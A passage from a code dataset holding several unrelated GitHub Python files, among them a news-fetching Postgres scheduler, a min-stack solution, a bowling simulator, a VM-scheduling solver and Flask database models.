response_dict['articles']:\n if article_dict['title'] not in NEWS_TABLE_df.title.values.tolist():\n news_row_dict = {}\n\n news_row_dict['date'] = today_date\n news_row_dict['news_topic'] = topic\n\n news_row_dict['source'] = article_dict['source']['name']\n news_row_dict['author'] = article_dict['author']\n news_row_dict['title'] = article_dict['title']\n news_row_dict['description'] = cleanhtml(article_dict['description']) \n news_row_dict['url'] = article_dict['url']\n news_row_dict['urlToImage'] = article_dict['urlToImage']\n news_row_dict['publishedAt'] = article_dict['publishedAt']\n\n news_df = news_df.append(news_row_dict, ignore_index=True)\n\n else:\n print(\"++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n print(\"Status failed!!\")\n print(\"topic = \", topic)\n print(\"date = \", given_date)\n print(\"++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n\n except:\n print(\"###############################################################################\")\n print(\"Request failed !!!\")\n print(\"topic = \", topic)\n print(\"date = \", given_date)\n print(\"###############################################################################\")\n\n\n# # Convert UTC to AEST TIME of PublishedAt column:\n\n# In[7]:\n\n\ndef convert_datetime_in_dif_timezones(from_datetime_str, from_timezone_str, to_timezone_str, \n datetime_format = '%Y-%m-%dT%H:%M:%S'):\n# USE pytz.all_timezones to get all timestamps\n from datetime import datetime\n import pytz\n date_time_obj = datetime.strptime(from_datetime_str, datetime_format)\n# print(\"date_time_obj = \", date_time_obj)\n \n old_timezone = pytz.timezone(from_timezone_str)\n new_timezone = pytz.timezone(to_timezone_str)\n \n new_timezone_timestamp = old_timezone.localize(date_time_obj).astimezone(new_timezone).strftime(\"%Y-%m-%dT%H:%M:%S\") \n# print(\"new_timezone_timestamp\", new_timezone_timestamp)\n return str(new_timezone_timestamp)\n \n\n\n# In[8]:\n\n\nnews_df[\"publishedAt\"] = news_df['publishedAt'].apply(lambda x: convert_datetime_in_dif_timezones(\n from_datetime_str = x, \n from_timezone_str = 'UTC', \n to_timezone_str ='Australia/Melbourne', \n datetime_format = '%Y-%m-%dT%H:%M:%SZ'))\n\n\n# # CREATE NEWS_TABLE:\n\n# In[9]:\n\n\nimport psycopg2 as ps\n\n# define credentials \ncredentials = {'POSTGRES_ADDRESS' : 'test-surfers-bible-instance.cljoljhkgpfb.ap-southeast-2.rds.amazonaws.com', # change to your endpoint\n 'POSTGRES_PORT' : 5432, # change to your port\n 'POSTGRES_USERNAME' : 'ai_postgres', # change to your username\n 'POSTGRES_PASSWORD' : '', # change to your password\n 'POSTGRES_DBNAME' : 'test_surfers_bible_db'} # change to your db name\n\n# create connection and cursor \nconn = ps.connect(host=credentials['POSTGRES_ADDRESS'],\n database=credentials['POSTGRES_DBNAME'],\n user=credentials['POSTGRES_USERNAME'],\n password=credentials['POSTGRES_PASSWORD'],\n port=credentials['POSTGRES_PORT'])\n\ncur = conn.cursor()\n\n# cur.execute(\"DROP TABLE SEA_WATER_QUALITY_TABLE;\")\n\ncreate_table_query = '''\n CREATE TABLE IF NOT EXISTS NEWS_TABLE\n (\n astronomy_id SERIAL PRIMARY KEY,\n date DATE,\n news_topic TEXT,\n source TEXT, \n author TEXT, \n title TEXT, \n description TEXT, \n url TEXT, \n urlToImage TEXT, \n publishedAt TEXT\n ); \n '''\n\ncur.execute(create_table_query)\nconn.commit()\n\ncur.close()\nconn.close()\n\n\n# # INSERT NEWS_TABLE:\n\n# In[10]:\n\n\n# %%time\n# Wall time: 12min 51s\nimport psycopg2 as ps\n\n# define credentials \ncredentials = {'POSTGRES_ADDRESS' : 'test-surfers-bible-instance.cljoljhkgpfb.ap-southeast-2.rds.amazonaws.com', # change to your endpoint\n 'POSTGRES_PORT' : 5432, # change to your port\n 'POSTGRES_USERNAME' : 'ai_postgres', # change to your username\n 'POSTGRES_PASSWORD' : '', # change to your password\n 'POSTGRES_DBNAME' : 'test_surfers_bible_db'} # change to your db name\n\n# create connection and cursor \nconn = ps.connect(host=credentials['POSTGRES_ADDRESS'],\n database=credentials['POSTGRES_DBNAME'],\n user=credentials['POSTGRES_USERNAME'],\n password=credentials['POSTGRES_PASSWORD'],\n port=credentials['POSTGRES_PORT'])\n\ncur = conn.cursor()\n\nfill_question_mark_str = str(tuple([\"%s\" for i in news_df.columns.tolist()])).replace(\"'\", \"\")\nfill_question_mark_str\n\nfor row in news_df.itertuples():\n data_tuple = tuple(row[1:])\n\n# print(\"data_tuple = \", data_tuple)\n# print(\" \")\n \n cur.execute(\"\"\"\n INSERT INTO NEWS_TABLE\n (\n date,\n news_topic,\n source, \n author, \n title, \n description, \n url, \n urlToImage, \n publishedAt\n ) VALUES \n \"\"\" + fill_question_mark_str + \" ;\"\n , data_tuple) \n\nconn.commit()\ncur.close()\nconn.close()\n\n\n# ___\n# ___\n# ___\n# \n\n# In[ ]:\n\n\n\n\n","repo_name":"Akshay-Ijantkar/surfer_sense_data_science_only","sub_path":"DB_Populating_Scheduler_Scripts/Surfing_News_Scheduler.py","file_name":"Surfing_News_Scheduler.py","file_ext":"py","file_size_in_byte":12346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"29168824095","text":"'''\nhttps://www.interviewbit.com/problems/min-stack/\n\nMin Stack\n\nDesign a stack that supports push, pop, top, and retrieving the minimum element in constant time.\n\n\tpush(x) - Push element x onto stack.\n\tpop() - Removes the element on top of the stack.\n\ttop() - Get the top element.\n\tgetMin() - Retrieve the minimum element in the stack.\n\nNote that all the operations have to be constant time operations.\n\nQuestions to ask the interviewer :\n\tQ: What should getMin() do on empty stack? \n\tA: In this case, return -1.\n\n\tQ: What should pop do on empty stack? \n\tA: In this case, nothing. \n\n\tQ: What should top() do on empty stack?\n\tA: In this case, return -1\n'''\n\n'''\nSolution Outline:\n\t1. Store current stack minimum along-side each item.\n\t2. When pushing item, x, onto the stack, check if the current stack minimum > x\n\t\tIf so, push (x,x) onto the stack\n\t\tOtherwise push(x, current minimum)\n\t3. getMin(): return minimum stored at the stack top\n\t4. pop() and top() returns/removes the item+stack minimum stored at the stack top\n\t\nSample run:\n\tMinStack: []\n\t\n\tpush(1)\n\tMinStack: [(1,1)]\n\tgetMin(): 1\n\n\tpush(2)\n\tMinStack: [(1,1), (2,1)]\n\tgetMin(): 1\n\n\tpop()\n\tMinStack: [(1,1)]\n\tgetMin(): 1\n\n\tpop()\n\tMinStack: []\n\t\n\tpush(3)\n\tMinStack: [(3,3)]\n\tgetMin(): 3\n\n\tpush(2)\n\tMinStack: [(3,3), (2,2)]\n\tgetMin(): 2\n\n\tpush(1)\n\tMinStack: [(3,3), (2,2), (1,1)]\n\tgetMin(): 1\n\n\tpop()\n\tMinStack: [(3,3), (2,2)]\n\tgetMin(): 2\n'''\nclass MinStack:\n\tdef __init__(self):\n\t\tself.items = []\n\n\t# return 'item' at stack top\n\tdef top(self):\n\t\tif not self.items:\n\t\t\treturn -1\n\t\treturn self.items[-1][0]\n\n\t# Flush stack top\n\tdef pop(self):\n\t\tif not self.items:\n\t\t\treturn\n\t\tself.items.pop()\n\n\t# Push (x, stack minimum) onto the stack\n\tdef push(self, x):\n\t\tnew_min = x\n\t\tif self.items:\n\t\t\tnew_min = min(self.getMin(), x)\n\n\t\tself.items.append((x, new_min))\n\n\t# return 'minimum' at stack top\n\tdef getMin(self):\n\t\tif not self.items:\n\t\t\treturn -1\n\t\treturn self.items[-1][1]\n\n\nif __name__ == '__main__':\n\tms = MinStack()\n\tassert ms.top() == -1\n\tassert ms.getMin() == -1\n\tms.push(5)\n\tassert ms.top() == 5\n\tassert ms.getMin() == 5\n\n\tms.push(6)\n\tassert ms.top() == 6\n\tassert ms.getMin() == 5\n\n\tms.pop()\n\tms.push(1)\n\tassert ms.top() == 1\n\tassert ms.getMin() == 1\n\n\n","repo_name":"niranjan-nagaraju/Development","sub_path":"python/interviewbit/stacks_and_queues/min_stack/min_stack.py","file_name":"min_stack.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"0"}
+{"seq_id":"5514526985","text":"from botbot_plugins.base import BasePlugin, DummyApp\n\n\nbp = BasePlugin()\nbp.app = DummyApp()\n\n\ndef test_retrieve_nonexistent_key():\n \"test retrieve operation on nonexistent key\"\n assert(bp.retrieve('nobody_home') is None)\n\n\ndef test_store_and_retrieve():\n \"test storing and retrieving a string value\"\n\n first_rule = \"\"\"\\\n A robot may not injure a human being or, through inaction,\n allow a human being to come to harm.\"\"\"\n bp.store('first_rule', first_rule)\n assert(bp.retrieve('first_rule') == first_rule)\n\n\ndef test_incr():\n \"test that counters can be created and incremented\"\n #key doesn't exist yet\n assert(bp.incr('counter') == 1)\n #incr key with current value of 1\n assert(bp.incr('counter') == 2)\n","repo_name":"BotBotMe/botbot-plugins","sub_path":"botbot_plugins/tests/test_storage.py","file_name":"test_storage.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"0"}
+{"seq_id":"28285740136","text":"import random\n\nclass Game: \n def __init__(self, player_name):\n self.player_name=player_name\n self.score_list= []\n self.final_score=0\n self.frame=0\n self.rem_frames=10\n\n \n\n def play(self):\n self.player_name = Player(self.player_name)\n while self.frame<11:\n self.player_name.player_roll()\n self.frame+=1\n self.rem_frames-=self.frame\n self.final_score= self.player_name.calc_score()\n self.score_list= self.player_name.res_list()\n return print(self.score_list, self.final_score)\n \n \n def __str__(self):\n return f'All Scores:{self.score_list}/nFinal Score: {self.final_score}'\n\n\nclass Frame():\n def __init__(self,frame_number,player_name):\n self.player_name=player_name\n self.current_frame=frame_number\n self.frame_score=0\n\n def roll(self):\n first_roll= random.randint(0,10)\n if first_roll == 10:\n self.frame_score=10\n return [f'Frame {self.current_frame}', 'strike',0, 10]\n rem_pins=10-first_roll\n second_roll=random.randint(0,rem_pins)\n if first_roll + second_roll == 10:\n self.frame_score=10\n return [f'Frame {self.current_frame}',first_roll ,'spare', 10]\n self.frame_score= first_roll + second_roll\n return [f'Frame {self.current_frame}',first_roll,second_roll, self.frame_score]\n\n def roll_last(self):\n last_first_roll= random.randint(0,10)\n if last_first_roll==10:\n last_second_roll= random.randint(0,10)\n if last_second_roll==10:\n last_third_roll=random.randint(0,10)\n if last_third_roll==10:\n return [f'Frame {self.current_frame}','strike','strike','strike' , 30]\n rem_pins=10-last_second_roll\n last_third_roll=random.randint(0,rem_pins)\n self.frame_score=last_second_roll+last_third_roll+10\n return [f'Frame {self.current_frame}','strike',last_second_roll,last_third_roll , self.frame_score]\n rem_pins=10-last_first_roll\n last_second_roll=random.randint(0,rem_pins)\n if last_first_roll + last_second_roll == 10:\n last_third_roll=random.randint(0,10)\n self.frame_score=10+last_third_roll\n return [f'Frame {self.current_frame}',last_first_roll,last_second_roll,last_third_roll , self.frame_score]\n self.frame_score=last_first_roll+last_second_roll\n return [f'Frame {self.current_frame}',last_first_roll,last_second_roll, self.frame_score]\n\nclass Player(Frame):\n \n def __init__(self,name):\n self.current_player=name\n self.frame=0\n self.all_frames=[]\n\n\n def player_roll(self):\n self.frame +=1\n frame=self.frame\n frame = Frame(self.frame,self.current_player)\n if self.frame<10:\n result= frame.roll()\n self.all_frames.append(result)\n if self.frame==10:\n result=frame.roll_last()\n self.all_frames.append(result)\n self.strike_calc()\n print(self.all_frames)\n return print(f'Rolling Frame {self.frame}') \n \n def strike_calc(self):\n frames_list= self.all_frames\n print(frames_list[9],'YES')\n for i,list in enumerate(frames_list):\n if i<8:\n if list[1]=='strike' and frames_list[i+1][1]== 'strike' and frames_list[i+2][1]=='strike':\n frames_list[i][3]= list[3]+frames_list[i+1][3]+frames_list[i+2][3]\n elif list[1]=='strike' and frames_list[i+1][1]== 'strike':\n frames_list[i][3]=list[3]+frames_list[i+1][3]+frames_list[i+2][1]\n elif list[1]=='strike' and frames_list[i+1][2]== 'spare': \n frames_list[i][3]=list[3]+ frames_list[i+1][3]\n elif list[1]=='strike': \n frames_list[i][3]=list[3]+frames_list[i+1][1]+frames_list[i+1][2]\n elif list[2]=='spare' and frames_list[i+1][1]== 'strike':\n frames_list[i][3]+= frames_list[i+1][3] \n elif list[2]=='spare':\n frames_list[i][3]+=frames_list[i+1][1]\n if i==8:\n if list[1]=='strike':\n frames_list[i][3]=frames_list[i+1][1]+frames_list[i+1][2]\n elif list[2]=='spare' and frames_list[i+1][1]== 'strike':\n frames_list[i][3]=frames_list[i][3] + frames_list[i+1][2] + + frames_list[i+1][3] +10\n elif list[2]=='spare':\n frames_list[i][3]+=frames_list[i+1][1] \n self.all_frames= frames_list\n\n def calc_score(self):\n frames_list=self.all_frames\n result=0\n for i,checking in enumerate(frames_list):\n if i < 9:\n result = result+frames_list[i][3]\n if i==10:\n result = result+frames_list[i][4] \n return result\n\n def res_list(self):\n return self.all_frames\n \n \n\n\n \n \n \n \n\n \n \n\n\n\n\n\n","repo_name":"Afelix997/oop-bowling","sub_path":"bowling.py","file_name":"bowling.py","file_ext":"py","file_size_in_byte":5120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"8026142500","text":"from docx import Document\r\nfrom docx.oxml.ns import qn\r\nfrom docx.shared import Pt, RGBColor\r\n\r\ndoc = Document('file/春晓.docx')\r\nfor para in doc.paragraphs:\r\n for run in para.runs:\r\n # 字体加粗\r\n run.font.bold = True\r\n # 字体设置为斜体\r\n run.font.italic = True\r\n # 字体下划线\r\n run.font.underline = True\r\n # 设置划线\r\n # run.font.strike = True\r\n # 设置字体大小未24号字体\r\n run.font.size = Pt(24)\r\n # 设置字体颜色\r\n run.font.color.rgb = RGBColor(255, 0, 0)\r\n run.font.name = '等线'\r\n r = run._element.rPr.rFonts\r\n r.set(qn('w:eastAsia'), '等线')\r\n\r\ndoc.save('file/春晓2.docx')\r\n","repo_name":"Zyg8420/autoOffice","sub_path":"使用python设置word中的字体样式.py","file_name":"使用python设置word中的字体样式.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"7867080038","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\n@Auther :liuyuqi.gov@msn.cn\n@Time :2018/7/4 15:55\n@File :main.py\n'''\n\nimport time\nfrom configparser import ConfigParser\n\nimport pandas as pd\n\nimport utils.save_conf\nimport utils.save_result\n\n\nclass Scheduling():\n '''\n 调度\n '''\n\n # 参数\n alpha = 10\n beta = 0.5\n T = 98\n EXEC_LIMIT = 100000\n\n # 静态数据 n:app数 N:inst数 m:machine数 k:资源种类\n num_app = num_inst = num_mac = 0\n num_k = 200\n cpuIter = list()\n appIndex = {}\n machineIndex = {}\n inst2AppIndex = {}\n\n # apps = list()\n # machines = list()\n appResources = list() # app表,\n machineResources = list() # machine表\n instanceDeploy = list() # instance表\n appInterference = list() # app_interfence冲突表\n\n # 动态数据\n inst2MachineRemine = {}\n machineResourcesUsed = list()\n machineHasApp = list() # 6000 [{}, {},{6004=1, 9126=1, 1598=1}, {}, {}, {},\n inst2Machine = list()\n result = pd.DataFrame(columns=list([\"instanceid\", \"machineid\"]), data=list())\n\n def __init__(self, **kw):\n '''\n 初始化参数\n :param kw:\n '''\n for k, v in kw.items():\n setattr(self, k, v)\n\n def loadData(self):\n for i in range(self.T):\n self.cpuIter.append(i)\n app_interference, app_resources, instance_deploy, machine_resources = self.getConfig()\n # 1.app_resources 9338*201\n self.appResources = pd.read_csv(app_resources, header=None,\n names=list([\"appid\", \"cpu\", \"mem\", \"disk\", \"P\", \"M\", \"PM\"]), encoding=\"utf-8\")\n tmp_cpu = self.appResources[\"cpu\"].str.split('|', expand=True).astype('float')\n tmp_mem = self.appResources[\"mem\"].str.split('|', expand=True).astype('float')\n for i in range(self.T):\n self.appResources[\"cpu_\" + str(i)] = tmp_cpu[i]\n self.appResources[\"mem_\" + str(i)] = tmp_mem[i]\n # 去掉cpu/men两列\n self.appResources.pop(\"cpu\")\n self.appResources.pop(\"mem\")\n self.num_app, col = self.appResources.shape # 9338*201 201列:appid,cpu_1,cpu_2,...mem_1,men_2....,P,M,PM\n self.appResources[\"appid\"] = pd.to_numeric(self.appResources[\"appid\"].str.split(\"_\", expand=True)[1].values)\n\n # 2.machine_resources 6000*201\n self.machineResources = pd.read_csv(machine_resources, header=None, names=list(\n [\"machineid\", \"cpu\", \"mem\", \"disk\", \"P\", \"M\", \"PM\"]), encoding=\"utf-8\")\n self.num_mac, col = self.machineResources.shape\n for i in range(self.T):\n self.machineResources[\"cpu_\" + str(i)] = self.machineResources[\"cpu\"]\n self.machineResources[\"mem_\" + str(i)] = self.machineResources[\"mem\"]\n self.machineResources.pop(\"cpu\")\n self.machineResources.pop(\"mem\")\n self.machineResources[\"machineid\"] = pd.to_numeric(\n self.machineResources[\"machineid\"].str.split(\"_\", expand=True)[1].values)\n self.machineResourcesUsed = self.machineResources.copy()\n for i in range(200):\n self.machineResourcesUsed.iloc[:, i + 1] = 0\n # 初始化 6000个空字典组成的list[{},{}....]\n for i in range(self.num_mac):\n self.machineHasApp.append({})\n\n # 3.instance_deploy\n self.instanceDeploy = pd.read_csv(instance_deploy, header=None,\n names=list([\"instanceid\", \"appid\", \"machineid\"]), encoding=\"utf-8\")\n # 增加一个字段标注是否部署\n self.instanceDeploy[\"isdeploy\"] = False\n self.instanceDeploy[\"instanceid\"] = pd.to_numeric(\n self.instanceDeploy[\"instanceid\"].str.split(\"_\", expand=True)[1].values)\n self.instanceDeploy[\"appid\"] = pd.to_numeric(self.instanceDeploy[\"appid\"].str.split(\"_\", expand=True)[1].values)\n self.instanceDeploy[\"machineid\"] = pd.to_numeric(\n self.instanceDeploy[\"machineid\"].str.split(\"_\", expand=True)[1].values)\n\n # 4.app_interference 冲突表\n self.appInterference = pd.read_csv(app_interference, header=None,\n names=list([\"appid1\", \"appid2\", \"max_interference\"]), encoding=\"utf-8\")\n self.appInterference[\"appid1\"] = pd.to_numeric(\n self.appInterference[\"appid1\"].str.split(\"_\", expand=True)[1].values)\n self.appInterference[\"appid2\"] = pd.to_numeric(\n self.appInterference[\"appid2\"].str.split(\"_\", expand=True)[1].values)\n\n # instance按照磁盘消耗排序\n self.num_app, col = self.appResources.shape\n self.num_inst, col = self.instanceDeploy.shape\n\n def getConfig(self):\n '''\n step1: 数据参数初始化\n :return:\n '''\n # 生成配置文件\n # self.init_conf()\n\n # 读取配置文件\n cf = ConfigParser()\n config_path = \"../conf/config.ini\"\n section_name = \"data_file_name\"\n cf.read(config_path)\n\n app_interference = cf.get(section_name, \"app_interference\")\n app_resources = cf.get(section_name, \"app_resources\")\n instance_deploy = cf.get(section_name, \"instance_deploy\")\n machine_resources = cf.get(section_name, \"machine_resources\")\n return app_interference, app_resources, instance_deploy, machine_resources\n\n def init_conf(self):\n '''\n 初始化配置文件\n :retur\n '''\n utils.save_conf.write()\n\n def sort_dynamic(self):\n print(\"ss\")\n\n def pickInstance(self, instanceid):\n '''\n 先将instance从部署的主机中删除,删除一行,释放资源\n :return:\n '''\n if instanceid not in self.inst2Machine[\"instance\"]:\n return\n appid = self.inst2Machine[self.inst2Machine[\"instanceid\"] == instanceid][\"appid\"].values[0]\n\n # 更新machineResourcesUsed\n for i in range(self.num_k):\n machineResourcesUsed[fromMachine][j] -= appResources[appIt][i]\n fromMachine = self.inst2AppIndex\n self.inst2Machine.pop(instanceid)\n\n def toMachine(self, instanceid, machineid, doCheck=False):\n '''\n 检查互斥条件,然后把instance放入主机\n :rtype: object\n :param instanceid: 实例id\n :param machineid: 主机id\n :param doCheck: 是否检测资源限制\n :return: True和False\n '''\n # instanceid所属的appid\n appid = self.instanceDeploy[self.instanceDeploy[\"instanceid\"] == instanceid][\"appid\"].values[0]\n # machineid从1开始,而index从0开始\n hasApp = self.machineHasApp[int(machineid - 1)]\n if doCheck:\n # 检查互斥\n\n\n # 检查资源限制\n for i in range(self.num_k):\n if (\n self.machineResourcesUsed[self.machineResourcesUsed[\"machineid\"] == machineid].iloc[:,\n i + 1].values[0] +\n self.appResources[self.appResources[\"appid\"] == appid].iloc[:, i + 1].values[0]\n >\n self.machineResources[self.machineResources[\"machineid\"] == machineid].iloc[:,\n i + 1].values[0]):\n print(\"Resource Limit: instance: \", instanceid, \",\", \"machine:\", machineid,\n self.machineResourcesUsed[self.machineResourcesUsed[\"machineid\"] == machineid].iloc[:,\n i + 1].values[0], \"+\",\n self.appResources[self.appResources[\"appid\"] == appid].iloc[:, i + 1].values[0], \" >\",\n self.machineResources[self.machineResources[\"machineid\"] == machineid].iloc[:,\n i + 1].values[0])\n # 如果不符合则 return False\n return False\n # 将inst放入新的machine,占用资源\n self.inst2Machine.append([{\"instanceid\": instanceid, \"machineid\": machineid}])\n if appid not in hasApp:\n hasApp.update({appid: 1})\n else:\n hasApp.update({appid: hasApp.get(appid) + 1})\n for i in range(self.num_k):\n self.machineResourcesUsed[self.machineResourcesUsed[\"machineid\"] == machineid].iloc[:, i + 1].values[\n 0] += \\\n self.appResources[self.appResources[\"appid\"] == appid].iloc[:, i + 1].values[0]\n return True\n\n def run(self, start):\n '''\n 执行部署\n :return:\n '''\n # 已经部署的instance\n deployed_Instance = self.instanceDeploy.loc[pd.isna(self.instanceDeploy[\"machineid\"]) == False]\n count_deployed_Instance, col = deployed_Instance.shape\n deployed_Instance.reset_index(drop=True, inplace=True)\n\n # 将已经部署的instance放置到对应主机中,占用相应资源,这一块代码比java慢了太多\n for i in range(count_deployed_Instance):\n instanceid = deployed_Instance[\"instanceid\"][i]\n machineid = deployed_Instance[\"machineid\"][i]\n self.toMachine(instanceid, machineid, doCheck=False)\n print(\"初始部署第\", i, \"个,持续耗时\", time.time() - start, \"秒\")\n\n # 对instance同样按照disk消耗排序\n self.instanceDeploy = self.instanceDeploy.sort_values(ascending=False, by=\"disk\")\n\n # 然后通过ff方法,把instance放入machine中。每次放入instance后,队列删除,每次消耗主机i,删除主机i.先使用大主机,磁盘优先计算限制条件\n row1, col = self.instanceDeploy.shape\n while row1 > 0:\n # 先对主机列表按照disk剩余进行排序,降序\n self.machineResourcesUsed = self.machineResourcesUsed.sort_values(ascending=False, by=\"disk\")\n\n # 每部署一次,消耗一个主机\n self.deployInstance()\n # 筛选未部署的\n self.instanceDeploy = self.instanceDeploy[self.instanceDeploy[\"isdeploy\"] == False]\n row, col = self.instanceDeploy.shape\n self.instanceDeploy.reset_index(drop=True, inplace=True)\n j = j + 1\n\n print(\"已经部署:\", 68219 - row, \"剩余部署Instance数据:\", row)\n print(\"已经消耗Machine主机数据:\", j)\n print(\"部署方案前几条示意:\", self.result.head())\n utils.save_result.save_result(self.result)\n\n def dcmp(self, x):\n '''\n 将结果映射到-1,0,1\n :param x:\n :return:\n '''\n if abs(x) < 1e-9:\n return 0\n elif x > 0:\n return 1\n else:\n return -1\n\n def deployInstance(self):\n '''\n 部署逻辑\n :return:\n '''\n # 主机:self.machineResourcesUsed[\"machineid\"][0]\n for row in self.instanceDeploy.itertuples():\n i = row.Index\n # 当前row实例尝试部署到新主机,如果可以部署则部署,如果初始已经部署,则算迁移,释放原来主机资源\n if self.toMachine(row, machineid=\"\", doCheck=True):\n machineHasApp = machineHasApp.append(pd.DataFrame(\n [{\"instanceid\": row.instanceid,\n \"machineid\": \"machine_\" + str(j)}]))\n\n\nif __name__ == '__main__':\n print(\"------------开始部署啦--------------\")\n start = time.time()\n scheduling = Scheduling()\n # 加载数据\n scheduling.loadData()\n print(\"加载数据耗时:\", time.time() - start)\n # 开始调度\n scheduling.run(start)\n # 部署完事\n print(\"------------部署完啦--------------\")\n end = time.time()\n print(\"总共耗时:\", end - start, \"秒\")\n","repo_name":"jianboy/VMsScheduling","sub_path":"code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11727,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"36776036595","text":"from gi.repository import GObject, Gtk\nfrom gi.repository import Liferea\n\nclass MarkAllReadInactivePlugin (GObject.Object, Liferea.ShellActivatable):\n __gtype_name__ = 'SetMarkAllFeedsAsReadInactive'\n\n object = GObject.property(type=GObject.Object)\n shell = GObject.property(type=Liferea.Shell)\n\n def __init__(self):\n self.action = None\n self.toolbarbutton = None\n \n def do_activate(self):\n self.app = self.shell.get_window().get_application()\n self.action = self.app.lookup_action('mark-all-feeds-read')\n self.app.remove_action('mark-all-feeds-read')\n\n self.toolbarbutton = self.shell.lookup(\"MarkAsReadButton\")\n self.toolbarbutton.set_sensitive(False)\n\n def do_deactivate(self):\n self.app.add_action(self.action)\n self.action = None\n\n self.toolbarbutton.set_sensitive(True)\n self.toolbarbutton = None\n","repo_name":"whizse/liferea-plugins","sub_path":"markallreadinactive/markallreadinactive.py","file_name":"markallreadinactive.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"42905524297","text":"\nimport numpy as np\nimport pandas as pd\n\nimport matplotlib.pyplot as plt\n\n# 消除警告信息\nimport warnings\nwarnings.filterwarnings(action=\"ignore\")\n\n#支持中文\nplt.rcParams['font.sans-serif'] = ['Microsoft YaHei']\n\n\n# 从文件中读取数据\ndf = pd.read_csv('../../data/house.csv')\nprint(df)\n\n\n# 第一张图,只考虑编号和价格\n# 准备数据\nx=df['row_id']\ny=df['price']\n\n#绘制图形\nfig, ax = plt.subplots()\n\nax.scatter(x, y, s=150,c='r')\nax.plot(x,y)\n\nplt.xlabel('编号')\nplt.ylabel('价格')\n\nplt.show()\n\n\n# 第二张图,只考虑面积和价格\n# 准备数据\nx=df['area']\ny=df['price']\n\n#绘制图形\nfig, ax = plt.subplots()\n\nax.scatter(x, y, s=150,c='b')\nax.plot(x,y)\n\nplt.xlabel('面积')\nplt.ylabel('价格')\n\nplt.show()\n\n\n","repo_name":"ChengwenLi0506/Python_Learning","sub_path":"Src/python_3/code/quiz9/quiz9_2.py","file_name":"quiz9_2.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"13401690550","text":"import falcon\n\nclass HelloResource(object):\n def on_get(self, req, resp):\n resp.status = falcon.HTTP_200\n resp.body = (\"DevOpsing_Like_There_Is_No_Tomorrow!\")\n\nclass Page2Resource(object):\n def on_get(self, req, resp):\n resp.status = falcon.HTTP_200\n resp.body = (\"Bruh!\")\n\napp = falcon.API()\n\nhello = HelloResource()\n\npage2 = Page2Resource()\n\napp.add_route('/', hello)\napp.add_route('/page2', page2)\n","repo_name":"aionno1/devops_01","sub_path":"docker/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"7969835252","text":"import os\nfrom datetime import datetime\nfrom uuid import uuid4\n\nimport sqlalchemy.dialects.postgresql as postgresql\nfrom flask_sqlalchemy import SQLAlchemy\n\ndb = SQLAlchemy()\n\ndef get_uuid():\n return uuid4().hex\n\nclass Employee(db.Model):\n __tablename__ = \"employee\"\n id = db.Column(db.Integer, primary_key=True, nullable=False)\n full_name = db.Column(db.String(100), nullable=False)\n email = db.Column(db.String(345), nullable=False)\n phone = db.Column(db.String(22), nullable=False)\n title = db.Column(db.Text, nullable=False)\n country = db.Column(db.String(9), nullable=False)\n city = db.Column(db.String(12), nullable=False)\n summary = db.Column(db.Text)\n github_link = db.Column(db.Text)\n linkedin_link = db.Column(db.Text)\n image = db.Column(db.Text)\n cv_name = db.Column(db.String(12))\n cv = db.Column(db.LargeBinary)\n company = db.relationship(\"Company\", backref=\"employee\", lazy=True)\n user = db.relationship(\"User\", backref=\"employee\", lazy=True)\n created_at = db.Column(db.DateTime, default=datetime.now(), nullable=False)\n jobs = db.relationship(\"Job\", backref=\"employee\", lazy=True)\n\n def format(self):\n return {\n \"id\": self.id,\n \"full_name\": self.full_name,\n \"email\": self.email,\n \"phone\": self.phone,\n \"title\": self.title,\n \"country\": self.country,\n \"city\": self.city,\n \"summary\": self.summary,\n \"github_link\": self.github_link,\n \"linkedin_link\": self.linkedin_link,\n \"image\": self.image,\n \"cv_name\": self.cv_name,\n \"cv\": self.cv,\n \"created_at\": self.created_at,\n }\n\n\nclass User(db.Model):\n __tablename__ = \"user\"\n id = db.Column(db.Integer, primary_key=True)\n email = db.Column(db.String(345), unique=True)\n password = db.Column(db.Text, nullable=False)\n role = db.Column(db.String(15), nullable=False)\n owner = db.Column(db.Integer, db.ForeignKey(\"employee.id\"))\n created_at = db.Column(db.DateTime, default=datetime.now(), nullable=False)\n\n def format(self):\n return {\n \"user_id\": self.id,\n \"user_email\": self.email,\n \"user_created_at\": self.created_at,\n \"user_role\": self.role,\n }\n\n\nclass Company(db.Model):\n __tablename__ = \"company\"\n id = db.Column(db.Integer, primary_key=True, unique=True)\n name = db.Column(db.String(20), nullable=False)\n email = db.Column(db.String(20), nullable=False)\n website = db.Column(db.String(100), nullable=False)\n country = db.Column(db.String(9), nullable=False)\n city = db.Column(db.String(12), nullable=False)\n image = db.Column(db.Text)\n created_at = db.Column(db.DateTime, default=datetime.now(), nullable=False)\n user = db.Column(db.Integer, db.ForeignKey(\"employee.id\"))\n jobs = db.relationship(\"Job\", backref=\"company\", lazy=True)\n\n\n def format(self):\n return {\n \"id\": self.id,\n \"name\": self.name,\n \"email\":self.email,\n \"website\":self.website,\n \"country\": self.country,\n \"city\": self.city,\n \"image\": self.image,\n }\n\n\nclass Job(db.Model):\n id = db.Column(db.Integer, primary_key=True, unique=True)\n name = db.Column(db.Text, nullable=False)\n description = db.Column(db.Text)\n image = db.Column(db.Text)\n slug = db.Column(db.Text)\n city = 